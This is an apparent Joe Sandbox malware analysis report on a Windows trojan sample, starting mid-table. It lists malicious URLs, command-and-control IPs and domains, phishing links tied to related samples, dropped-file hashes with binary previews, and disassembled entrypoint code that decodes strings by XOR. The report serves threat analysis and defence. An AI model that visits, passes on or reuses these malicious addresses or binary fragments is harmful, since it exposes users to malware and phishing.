http://ww99.utbidet-ugeas.biz/d/N?02DF32E9EBDF32E9EBED32C5EBDF323A775731EDADDE322943DD37DFC5ED1CD0D9	oumkovet.exe, 00000001.00000003.2102997788.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ww99.utbidet-ugeas.biz/d/N?0258BC40CD58BC40CD6ABC6CCD58BC9351D0BF448B59BC80655AB976E36A9279FF	oumkovet.exe, 00000001.00000003.2148625054.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
88.198.29.97	ucotvodykr.vg	Germany	24940	HETZNER-ASDE	false
64.70.19.203	vyvwgip.ws	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
172.234.222.143	utbidet-ugeas.biz	United States	20940	AKAMAI-ASN1EU	false
172.234.222.138	unknown	United States	20940	AKAMAI-ASN1EU	false
45.79.222.138	wmqgigbtk.ph	United States	63949	LINODE-APLinodeLLCUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1507109
Start date and time:	2024-09-08 08:38:47 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	f3VrANv7Uw.exe renamed because original name is a hash value
Original Sample Name:	Virus.Sysbot.ATA_virussign.com_bef0e497c009b94458441a8bcd24af8a.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@5/6@679/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 4 Number of non-executed functions: 27
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: f3VrANv7Uw.exe

Simulations

Behavior and APIs

Time	Type	Description
02:39:37	API Interceptor	29236x Sleep call for process: oumkovet.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
88.198.29.97	LtL3hEasij.exe	Get hash	malicious	Unknown	Browse
	5SGOAKv7AR.exe	Get hash	malicious	Unknown	Browse
	YsyrcskNFK.exe	Get hash	malicious	Unknown	Browse
	wEplk8vCmJ.exe	Get hash	malicious	Unknown	Browse
	Ey6iI0wxsf.exe	Get hash	malicious	Unknown	Browse
	p4C7Gm10K3.exe	Get hash	malicious	Unknown	Browse
	KJEfMLiuRS.exe	Get hash	malicious	Unknown	Browse
64.70.19.203	zkGOUJOnmc.elf	Get hash	malicious	Unknown	Browse	blog.abconstructors.ws/wp-login.php
	gUJak0onLk.elf	Get hash	malicious	Unknown	Browse	blog.acashmachine.ws/wp-login.php
	Wk8eTHnajw.elf	Get hash	malicious	Unknown	Browse	blog.accu-personalservice.ws/wp-login.php
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	fedyanin.ws/admin.php
	BbbEtaIxAU.exe	Get hash	malicious	Betabot	Browse	issasname.ws/xyz/abc/order.php?id=5889637
	GxELazkKkG.exe	Get hash	malicious	Unknown	Browse	enahmnhqah.ws/imgs/krewa/nqxa.php?id=f21eztiy&s5=3159&lip=192.168.2.7&win=Unk
	Readme.exe	Get hash	malicious	Unknown	Browse	ersaenrnwh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk
	EAfIchN1gN.exe	Get hash	malicious	Unknown	Browse	ehmpeseeaa.ws/imgs/krewa/nqxa.php?id=5143sudk&s5=3159&lip=192.168.2.4&win=Unk
	144C0621CA5ECB402DE01D8F10044F92A2EF917522E4B.exe	Get hash	malicious	Unknown	Browse	xircus.ws/kin/logout.php
	Br6Pmt0MiZ.exe	Get hash	malicious	Phorpiex	Browse	thaus.ws/6
172.234.222.143	Ey6iI0wxsf.exe	Get hash	malicious	Unknown	Browse	utbidet-ugeas.biz/d/N?02DF332241DF332241EE330E41DF3380DB1D15BE47DE33E2E9DD34146FED1D1B73EF030C41
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook, LummaC Stealer	Browse	htwqzczce.biz/bihs
	Bonelessness.exe	Get hash	malicious	Simda Stealer	Browse	vojyqem.com/login.php
	roundwood.exe	Get hash	malicious	Simda Stealer	Browse	vojyqem.com/login.php
	Original Shipment Document_PDF_.exe	Get hash	malicious	FormBook	Browse	przvgke.biz/hpehoptfphnr
	Quotation.exe	Get hash	malicious	Remcos	Browse	przvgke.biz/w
	Bank Form.scr.exe	Get hash	malicious	DarkTortilla, FormBook	Browse	przvgke.biz/irvtanytnjjeyj
	7Y18r(215).exe	Get hash	malicious	Unknown	Browse	przvgke.biz/ubsca
	7Y18r(251).exe	Get hash	malicious	Bdaejec	Browse	przvgke.biz/rcn
	7Y18r(155).exe	Get hash	malicious	Unknown	Browse	przvgke.biz/o

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CENTURYLINK-LEGACY-SAVVISUS	QTCc6zXJy3.exe	Get hash	malicious	Unknown	Browse	64.70.19.203
	LtL3hEasij.exe	Get hash	malicious	Unknown	Browse	64.70.19.203
	5SGOAKv7AR.exe	Get hash	malicious	Unknown	Browse	64.70.19.203
	YsyrcskNFK.exe	Get hash	malicious	Unknown	Browse	64.70.19.203
	wEplk8vCmJ.exe	Get hash	malicious	Unknown	Browse	64.70.19.203
	Ey6iI0wxsf.exe	Get hash	malicious	Unknown	Browse	64.70.19.203
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	66.101.62.17
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	206.129.31.41
	m68k.elf	Get hash	malicious	Unknown	Browse	205.140.235.107
	154.213.187.80-x86-2024-09-01T00_09_56.elf	Get hash	malicious	Mirai	Browse	207.2.162.149
AKAMAI-ASN1EU	5SGOAKv7AR.exe	Get hash	malicious	Unknown	Browse	172.234.222.138
	YsyrcskNFK.exe	Get hash	malicious	Unknown	Browse	172.234.222.138
	wEplk8vCmJ.exe	Get hash	malicious	Unknown	Browse	172.234.222.138
	Ey6iI0wxsf.exe	Get hash	malicious	Unknown	Browse	172.234.222.143
	SecuriteInfo.com.ELF.Mirai-CTV.17056.24722.elf	Get hash	malicious	Unknown	Browse	172.236.28.137
	http://cremis.co.jp/oscommerce/catalog/redirect.php?action=url&goto=m8746liv.dallasnews24.comhttps://ohyeah.jp/redirect.php?action=url&goto=google.com.////amp/chungcusungrouphalong.vn/log/5QpvB8K2/ZWdheXRhbkBpZHNyZWFsZXN0YXRlLmNvbQ==$%E3%80%82&c=E,1,WIsK-Pp3fpUtsfHSA8-xzLJpUhIWthdkIPcm9_R7RXGcgUnYnPVSB6XUBjqIvsMquxANN6Vw0E_RWm4aP1d6oCkGO5HUfUouEOY2VUcZ&typo=1	Get hash	malicious	HTMLPhisher	Browse	172.233.39.205
	Play_VM-NowBarry.doanAudiowav012.html	Get hash	malicious	Unknown	Browse	23.197.127.142
	Amex Message.pdf	Get hash	malicious	HTMLPhisher	Browse	23.55.163.73
	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFkILOsO1UnLItklUwD68rhtr94fRPJI4HAEjYZ7vdlgHTiHU_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZPRzSyzWe4FlQQyqQA-2BOTqGjWjoN-2BuPm4tzM5LM6f6tO2PXKa74YSjAhzL6onG-2BuKO989bZZj9vupVvXtBWU0qXeI6VZny9p-2FgjssbU9Je1I2RDoZPOLgxX8gxf2-2BzsuoGYoVqnaS5CYR1Z5WEWAcZP0wmQbm4ikqer-2BGrlVppyDdPw-2BxPiObQZTbU2ZeclEy9V5nUC-2BnwlvdDmQwsjghHkHuJFiwInVWpyiCgGFo0uYjlPs3G8hdAgJBJu-2F-2B0K864-3D#ZmluYW5jZUBjbGVhcnZpZXcuYWk=	Get hash	malicious	Unknown	Browse	184.50.204.201
	file.exe	Get hash	malicious	Unknown	Browse	23.200.0.42
HETZNER-ASDE	LtL3hEasij.exe	Get hash	malicious	Unknown	Browse	88.198.29.97
	5SGOAKv7AR.exe	Get hash	malicious	Unknown	Browse	88.198.29.97
	YsyrcskNFK.exe	Get hash	malicious	Unknown	Browse	88.198.29.97
	wEplk8vCmJ.exe	Get hash	malicious	Unknown	Browse	88.198.29.97
	Ey6iI0wxsf.exe	Get hash	malicious	Unknown	Browse	88.198.29.97
	http://ayushmangupta01.github.io/Netflix_clone_main	Get hash	malicious	HTMLPhisher	Browse	78.46.22.25
	http://www.jazeegroup.com/new_salary_increment_notification_secured_document.html	Get hash	malicious	Unknown	Browse	135.181.164.29
	Client.exe	Get hash	malicious	Quasar	Browse	195.201.57.90
	z3bqnf1WvW.exe	Get hash	malicious	RedLine, SectopRAT	Browse	178.63.51.126
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	5.75.214.132
AKAMAI-ASN1EU	5SGOAKv7AR.exe	Get hash	malicious	Unknown	Browse	172.234.222.138
	YsyrcskNFK.exe	Get hash	malicious	Unknown	Browse	172.234.222.138
	wEplk8vCmJ.exe	Get hash	malicious	Unknown	Browse	172.234.222.138
	Ey6iI0wxsf.exe	Get hash	malicious	Unknown	Browse	172.234.222.143
	SecuriteInfo.com.ELF.Mirai-CTV.17056.24722.elf	Get hash	malicious	Unknown	Browse	172.236.28.137
	http://cremis.co.jp/oscommerce/catalog/redirect.php?action=url&goto=m8746liv.dallasnews24.comhttps://ohyeah.jp/redirect.php?action=url&goto=google.com.////amp/chungcusungrouphalong.vn/log/5QpvB8K2/ZWdheXRhbkBpZHNyZWFsZXN0YXRlLmNvbQ==$%E3%80%82&c=E,1,WIsK-Pp3fpUtsfHSA8-xzLJpUhIWthdkIPcm9_R7RXGcgUnYnPVSB6XUBjqIvsMquxANN6Vw0E_RWm4aP1d6oCkGO5HUfUouEOY2VUcZ&typo=1	Get hash	malicious	HTMLPhisher	Browse	172.233.39.205
	Play_VM-NowBarry.doanAudiowav012.html	Get hash	malicious	Unknown	Browse	23.197.127.142
	Amex Message.pdf	Get hash	malicious	HTMLPhisher	Browse	23.55.163.73
	https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFkILOsO1UnLItklUwD68rhtr94fRPJI4HAEjYZ7vdlgHTiHU_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZPRzSyzWe4FlQQyqQA-2BOTqGjWjoN-2BuPm4tzM5LM6f6tO2PXKa74YSjAhzL6onG-2BuKO989bZZj9vupVvXtBWU0qXeI6VZny9p-2FgjssbU9Je1I2RDoZPOLgxX8gxf2-2BzsuoGYoVqnaS5CYR1Z5WEWAcZP0wmQbm4ikqer-2BGrlVppyDdPw-2BxPiObQZTbU2ZeclEy9V5nUC-2BnwlvdDmQwsjghHkHuJFiwInVWpyiCgGFo0uYjlPs3G8hdAgJBJu-2F-2B0K864-3D#ZmluYW5jZUBjbGVhcnZpZXcuYWk=	Get hash	malicious	Unknown	Browse	184.50.204.201
	file.exe	Get hash	malicious	Unknown	Browse	23.200.0.42

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\SysWOW64\orcemoof.dll	5SGOAKv7AR.exe	Get hash	malicious	Unknown	Browse
	YsyrcskNFK.exe	Get hash	malicious	Unknown	Browse
	wEplk8vCmJ.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Roaming\tledoh-ogeab.dll	5SGOAKv7AR.exe	Get hash	malicious	Unknown	Browse
	YsyrcskNFK.exe	Get hash	malicious	Unknown	Browse
	wEplk8vCmJ.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Roaming\tledoh-ogeab.dll

Download File

Process:	C:\Windows\SysWOW64\oumkovet.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	6.020686022652244
Encrypted:	false
SSDEEP:	384:PXd6ULZam2bCNifL0/QzGMqGEN4fn7NgjNdUPjQ2fu/MB8TMxs1wHMkGPMlj1ju:PXjLZJ2bXfqQKMq+gjTAfu/MB8QKpKB
MD5:	EB9474598B42C55CC62D098B8C5D8B7E
SHA1:	1D73F3DA3C1BA4DEA3EE051E41CF8B991685B8EF
SHA-256:	7CD473A4B131E8BEB8F9BAAE5876D47A74D7DFE0AD76B5F189DDE8FBE0285E91
SHA-512:	E6D84DC5C513AA41ED053BA2BC113346D7CAEC5D782871A5D72803C64B3D54B93236F1563B1FA545590FE72EA80DA5DFD78ED5CD7C59FA2C921CEF34AA2FC54E
Malicious:	true
Joe Sandbox View:	Filename: 5SGOAKv7AR.exe, Detection: malicious, Browse Filename: YsyrcskNFK.exe, Detection: malicious, Browse Filename: wEplk8vCmJ.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L.H...........#...8.@... .......D.......P................................................ .........................1.......L...............................\....................................................................................text...(?.......@.................. ..`.data...@....P.......D..............@....rdata.......`.......L..............@..@.bss.........p...........................edata..1............X..............@..@.idata..L............Z..............@....reloc..\............`..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\tmp1241.tmp

Download File

Process:	C:\Windows\SysWOW64\oumkovet.exe
File Type:	data
Category:	dropped
Size (bytes):	69299
Entropy (8bit):	6.348890346144451
Encrypted:	false
SSDEEP:	768:ogOTQCoXM8YBno9/NoSAUvF85sNstFt5nKY2OzDMNI/ty3fJsdFR16voCMKue70O:WouU985sNstFt5np9tXwvDz7w2HqnvE
MD5:	5505EEF0E42F7A96FB7F8FAA9BBC77ED
SHA1:	61A4FCCA70691DC5F103760FE45AD4B834DB176A
SHA-256:	9609639C20032C2C46468CEFBD8AC0731E63439D95496416D14C90E31064C228
SHA-512:	D368D43AD0F76832FE130F994AD63D3C5C5DB72783DB593909F44EBD3B0A995AAEE6B1E60B53D688803BEC9325E495665B9F77C78564007EFE8B7FC894713923
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	low
Preview:	...RQRRRVRRR..RR.RRRRRRR.RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR.RRR\M.\R.[.s.S..s.:;!r" =5 3?r13<<=&r07r '<r;<r...r?=67\|__XvRRRRRRR..RR.SWR....RRRRRRRR.R]QYSPjR.RRR.RRRVRRKhRRRBRRR"RRRR.RRBRRRPRRVRRRSRRRVRRRRRRRR.SRRVRR .SRPRRRRRrRRBRRRRBRRBRRRRRRBRRRRRRRRRRRRbSR.ZRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR\|&7*&RRR..RRRBRRR.RRRVRRRRRRRRRRRRRRrRR2\|63&3RRR..RRR"RRR.RRR.RRRRRRRRRRRRRR.RR.\| 63&3RR2WRRRBSRRTRRR.RRRRRRRRRRRRRR.RR.\|0!!RRRR"QRRRrSRRRRRRRRRRRRRRRRRRRRR.RR.\|;63&3RR.ZRRRbSRRXRRRRSRRRRRRRRRRRRR.RR.RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR

C:\Windows\SysWOW64\adfabic.exe

Download File

Process:	C:\Windows\SysWOW64\oumkovet.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	72526
Entropy (8bit):	6.39969130463327
Encrypted:	false
SSDEEP:	1536:1YF8NLCofRLCg/hdsHT+obdo8Cgzvl4ooofgkeE:uF+LCofRLCgpSzXo8CgpIy
MD5:	044C5832D236458709BFFFF7EF049BEB
SHA1:	F40DC08A52ED2B834EE4F463123897CB3AE04D3E
SHA-256:	09199E1B8EEBE8412F7E13AE035C9ADE27B4250D2A9F955C5256A9CD7F2D0E95
SHA-512:	484FAA96F25E24B29EB84D66E8EAC06747F616646A11EDD06BABBAC0CE81FFD8EA798B72FE93DF5F2E290A720478AFBB3414CA74206C0D57D11B45F19176205D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...`o.H...............8..........................@..........................0................ .............................. .......................................................................................................................text...0........................... ..`.idata....... ......................@...........................................................UWVS.......$...........@.....$......$....Uj@..$....W..$....Vj........3.H.f.C...U..$....WVj..........$......$....j.......$..............@.@...7..CB..&u.........$....Pj.j........)..........f.8"u....f..f..t.f.."u.f..f..t....f.. u....\$0S........D$,PSj.j.j.j.j.j.Vj.......$......$....Sj..z...j.j.j.j.j.h....S.m........................j.j.he...P.P......j...$....Ph......$....PS.8...S.:.....$.........$W.....$....0B.B9.u....\$tS.........D$,PSj.j.j.j.j.j.j...$....P............:......j.j

C:\Windows\SysWOW64\orcemoof.dll

Download File

Process:	C:\Windows\SysWOW64\oumkovet.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5120
Entropy (8bit):	3.4855350111432437
Encrypted:	false
SSDEEP:	48:6/bHgJ2GVhcus1lli4NbE2eMGjofSA8YDITcSd3MA3MMIv0BvcvXQ3:yAJ2G6Vx5EUGU6wIASdcAcHvA3
MD5:	F37B21C00FD81BD93C89CE741A88F183
SHA1:	B2796500597C68E2F5638E1101B46EAF32676C1C
SHA-256:	76CF016FD77CB5A06C6ED4674DDC2345E8390C010CF344491A6E742BAF2C0FB0
SHA-512:	252FE66DEA9A4B9AEBC5FD2F24434719CB25159BA51549D9DE407F44B6A2F7BCE6E071BE02C4F2AD6AEF588C77F12C00ED415EB54F96DEC1B077326E101CE0F4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Joe Sandbox View:	Filename: 5SGOAKv7AR.exe, Detection: malicious, Browse Filename: YsyrcskNFK.exe, Detection: malicious, Browse Filename: wEplk8vCmJ.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...ao.H...........#...8..................... ...............................`................ ......................0..5....@...............................P..@....................................................................................text............................... ..`.data...`.... ......................@....edata..5....0......................@..@.idata.......@......................@....reloc..@....P......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\oumkovet.exe

Download File

Process:	C:\Users\user\Desktop\f3VrANv7Uw.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	69299
Entropy (8bit):	6.34889034614445
Encrypted:	false
SSDEEP:	1536:1teqKDlXvCDB04f5Gn/L8FlADNt3d1+awJj:ulg35GTslA5t3GawJj
MD5:	BEF0E497C009B94458441A8BCD24AF8A
SHA1:	90E378086D2B808052741C8F4843D4E5C29BC4DC
SHA-256:	3DBA17277577CA708CE4DF9EB02FEDF35798FEC80F9740FCBF53A1302B61CE89
SHA-512:	6D13A3137F4171C6124D9A3E8FBF2DB88BA2FA531A86C69B802F68CBCA9F34450EC31F6804F0CB4988AE4F43AA50F7EFBA77E820866A4F9827D3CEB01C2A1984
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L.H...............8.X...........:.......p....@..........................@......r......... ..............................0.......................................................................................................................text....W.......X.................. ..`.data........p.......\..............@....rdata..`...........................@..@.bss....p.... ...........................idata.......0......................@...........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\ugpeatar.exe

Download File

Process:	C:\Windows\SysWOW64\oumkovet.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	71470
Entropy (8bit):	6.403085539310108
Encrypted:	false
SSDEEP:	1536:xesVVg0uuuZqcFMMknvALxibD5cZHTSt1h9N/TQ:pm0+ZqcFsvLXSm9N/k
MD5:	BDDF067571209276BAE973DA5A6317A7
SHA1:	A9B704DC8A17B8C51A3FDBEA1ADC7992F56FFC6D
SHA-256:	E20CC67CDFA63AF1644BF34197F7BB59C950A31FFB120F7FC27DC0BDD47930DD
SHA-512:	8AC3A0D14A83D31C75B24044AC9D5D62568009C787BCAC260B6AC237A81BA14C285AC144060FFE89246F7C6F521A4B379F7765C5ED8E86D9C0B93B7F1D36B207
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...`o.H...............8..........................@..........................0......7......... .............................. .......................................................................................................................text............................... ..`.idata....... ......................@...........................................................UWVS..l.....$l..........`.@.....FB..&u.......h.....\|$pWj..a.....$p...Uj.j..X.....)j.j.j.j.j.h....W.H........................j.j.j.P........j..D$tPj{US.#...S.%.....$x......$z........$....0X.@9.u..T$..D$T9.s....B9.u.....D$\P.D$.Pj.j.j.j.j.j.j...$....P............+......j.j.j.j.j.h......$....P.........................j.j......+.$u...PV._.....$m....s......Wj.P.o.......j..D$tPWUV.;...V.=........$y......9.s...0.B....$m...9.w....h......$}...V.$......V.#......j.h....j.j.j.h...@V.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.34889034614445
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	f3VrANv7Uw.exe
File size:	69'299 bytes
MD5:	bef0e497c009b94458441a8bcd24af8a
SHA1:	90e378086d2b808052741c8f4843d4e5c29bc4dc
SHA256:	3dba17277577ca708ce4df9eb02fedf35798fec80f9740fcbf53a1302b61ce89
SHA512:	6d13a3137f4171c6124d9a3e8fbf2db88ba2fa531a86c69b802f68cbca9f34450ec31f6804f0cb4988ae4f43aa50f7efba77e820866a4f9827d3ceb01c2a1984
SSDEEP:	1536:1teqKDlXvCDB04f5Gn/L8FlADNt3d1+awJj:ulg35GTslA5t3GawJj
TLSH:	F7634B8DB57F1622C4E9477500F60FB2EFB7E37336366AC2A3911AAE4913522D62530C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....L.H...............8.X...........:.......p....@..........................@......r......... ............................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x403a19
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x48AD4CC2 [Thu Aug 21 11:08:50 2008 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	c1246ca9ec291149221a5cbc329bf1a2

Entrypoint Preview

Instruction
push ebp
push edi
push esi
push ebx
mov eax, 0000148Ch
call 00007FB1910715AEh
call 00007FB1910717E9h
mov dword ptr [00412270h], eax
mov dword ptr [004120D0h], 00000094h
sub esp, 0Ch
push 004120D0h
call 00007FB1910717D5h
mov eax, 00000000h
add esp, 0Ch
xor byte ptr [eax+00407000h], FFFFFFD4h
inc eax
cmp eax, 06h
jne 00007FB19106EBA5h
mov al, 00h
xor byte ptr [eax+00407007h], FFFFFFD4h
inc eax
cmp eax, 0Ch
jne 00007FB19106EBA5h
sub esp, 0Ch
push 00407007h
call 00007FB191071744h
mov ebx, eax
add esp, 0Ch
cmp dword ptr [004120E0h], 02h
je 00007FB19106EBE5h
mov eax, 00000000h
xor byte ptr [eax+00407014h], FFFFFFD4h
inc eax
cmp eax, 16h
jne 00007FB19106EBA5h
sub esp, 08h
push 00407014h
push ebx
call 00007FB19107177Eh
add esp, 08h
test eax, eax
je 00007FB19106EBBEh
sub esp, 08h
push 00000001h
push 00000000h
call eax
add esp, 08h
sub esp, 04h
push 00000104h
lea eax, dword ptr [esp+00001390h]
push eax
push 00000000h
call 00007FB19107175Ch
add esp, 04h
call 00007FB19107175Ch
mov edx, 00407000h
call 00007FB19107C0E5h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x13000	0x8d4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x57d8	0x5800	dc6ab88fbeec4217624f3d8e3f9e57dd	False	0.5093661221590909	data	6.071510230625108	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x7000	0x9ca0	0x9e00	fa6fd4b522e84512c57d029fad1c3c28	False	0.44635087025316456	data	5.634556460781177	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x11000	0x560	0x600	0c551a3152127051a61e79f4060eeeee	False	0.8541666666666666	data	6.904171762094184	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x12000	0x370	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x13000	0x8d4	0xa00	dde26f5fc175bc8f9c927245ad842ccf	False	0.482421875	data	5.056081526038052	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
ADVAPI32.DLL	RegCloseKey, RegCreateKeyA, RegCreateKeyExA, RegDeleteKeyA, RegDeleteValueA, RegEnumKeyA, RegEnumValueA, RegOpenKeyExA, RegQueryValueExA, RegSetValueExA, RegSetValueExW
